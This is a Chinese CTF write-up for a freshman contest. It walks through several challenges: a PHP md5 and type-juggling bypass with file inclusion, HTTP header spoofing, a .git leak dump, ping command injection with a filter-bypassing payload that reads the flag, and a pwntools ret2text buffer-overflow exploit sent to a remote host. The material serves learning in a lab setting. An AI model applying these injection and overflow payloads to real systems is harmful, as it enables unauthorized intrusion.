前言
南邮的新生赛,只摸了下web和几题pwn,其它方向能签到就签到
Web
signin
flag在main.js里
baby_php
php特性
源码
<?php
// flag in flag.php
highlight_file(__FILE__);
if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$name = $_COOKIE['name'];
if ($a != $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
include($name.'.php');
}
}
}
首先分别以get,post,cookie方式传入4个参数
第二个判断是md5弱比较绕过,指路:https://c1oudfl0w0.github.io/blog/2023/03/15/PHP%E7%89%B9%E6%80%A7/#md5%E7%AD%89%E6%95%88%E5%80%BC%E7%BB%95%E8%BF%87
第三个判断是php弱类型,要求$c
不是一个数字,不等于1024,转换为整数后的值等于1024,那就传个带小数的字符串进去就能实现绕过
最后include读取文件需要用到伪协议,指路:https://c1oudfl0w0.github.io/blog/2023/03/15/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/
然后base64解码得到flag
hello_http
http
一:The GET parameter query must be ctf
,GET请求
二:The POST form action must be getflag
,POST请求
三:Your are not admin
,修改cookie值
四:Only allow local IP,伪造ip加xff头
五:You are not using HarmonyOS Browser
,修改UA头
六:Only allow access from ys.mihoyo.com
,加Referer头
repo_leak
git版本泄露
进入靶机,notice文章告诉我们:There is noting here.Using Git for version control
那就是git泄露了,但是我这里用GitHacker脱库了一下没有找到有价值的信息
搜索一番后选择另一个工具Git_Extract:https://github.com/gakki429/Git_Extract
注意是python2环境
python git_extract.py http://124.71.184.68:50013/.git/
在post文件夹中找到flag
ping
命令执行
一开始测试的时候发现有前端拦截,那就抓包到burpsuite里重放
发现分号用不了,那就%0a
替代
然后发现空格也用不了,那就%09
替代
这样就可以读源码了127.0.0.1%0acat%09api.php
先看看源码
<?php
function sanitize($s) {
$s = str_replace(';', '', $s);
$s = str_replace(' ', '', $s);
$s = str_replace('/', '', $s);
$s = str_replace('flag', '', $s);
return $s;
}
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
if (!isset($_POST['ip'])) {
die('No IP Address');
}
$ip = $_POST['ip'];
$ip = sanitize($ip);
if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}
system('ping -c 4 '.$ip. ' 2>&1');
?>
发现把/
过滤了,于是我们需要手动把目录切换到根目录读取flag
ip=127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0acat%09f*
Pwn
找不到且不对劲的flag
根目录的flag是假的
ls -a
查看全部文件包括被隐藏的文件
可以发现.secret
文件夹,里面的flag是真的
永远进不去的后门
ret2text
checksec一下发现是64位开NX
ida64反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-40h] BYREF
int v5; // [rsp+8h] [rbp-38h]
bufinit(argc, argv, envp);
puts("Welcome to 0xGame2023!");
puts("Tell me sth interesting, and I will give you what you want.");
read(0, buf, 0x100uLL);
if ( v5 % 2023 == 2023 )
system("/bin/sh");
else
puts("Not that interesting. Bye.");
return 0;
}
直接把system("/bin/sh")
暴露出来了,前面使用了read函数,可以进行溢出,rbp偏移0x40
然后在system函数处tab切换到汇编视图,得到/bin/sh
的地址
编写exp:
from pwn import *
p = remote("8.130.35.16", "51002")
offset = 0x40+0x8
get_flag_addr = 0x401298
payload = offset * b'a' + p64(get_flag_addr)
p.recvuntil(b'Tell me sth interesting, and I will give you what you want.')
p.sendline(payload)
p.interactive()
Misc
SignIn
cyberchef一把梭base64+base32
Reverse
数字筑基
ida f5反编译即可得到flag